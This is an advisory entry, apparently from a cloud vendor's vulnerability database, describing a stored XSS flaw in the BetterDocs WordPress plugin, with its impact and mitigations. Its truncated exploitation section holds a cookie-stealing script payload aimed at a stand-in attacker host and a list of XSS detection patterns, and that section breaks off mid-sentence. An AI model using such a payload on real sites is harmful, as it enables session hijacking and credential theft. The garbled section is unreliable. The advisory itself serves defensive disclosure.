
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-65562 is a Contributor-level Stored Cross-Site Scripting (XSS) vulnerability in the BetterDocs WordPress plugin developed by WPDeveloper, affecting all versions up to and including 4.6.2. The vulnerability was published on July 27, 2026, and assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory, Patchstack).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from insufficient sanitization of user-supplied input before it is stored and rendered in web pages. An authenticated user with Contributor-level privileges can inject malicious JavaScript payloads into BetterDocs content fields, which are then executed in the browsers of other users who view the affected content. Exploitation requires low privileges (Contributor role) and user interaction (a victim must view the malicious content), with a changed scope indicating the impact crosses the security boundary of the vulnerable component (GitHub Advisory, Patchstack).
Successful exploitation allows an authenticated contributor to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially enabling session hijacking, credential theft, and unauthorized actions performed on behalf of the victim. The changed scope means the injected script can affect resources beyond the plugin itself, such as the broader WordPress site. Confidentiality, integrity, and availability impacts are each rated Low, reflecting partial data exposure and limited but real risk of site tampering (GitHub Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable BetterDocs field and save or submit the content.<script>, javascript:, onerror=, or similar XSS patterns in content fields.Update the BetterDocs plugin to a version newer than 4.6.2, which contains the fix for this vulnerability. As interim mitigations, restrict the Contributor role to only fully trusted users, implement Content Security Policy (CSP) headers on the WordPress site to limit unauthorized script execution, and review existing BetterDocs content for suspicious script injections. Administrators should also audit contributor accounts for unauthorized access (GitHub Advisory, Patchstack).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."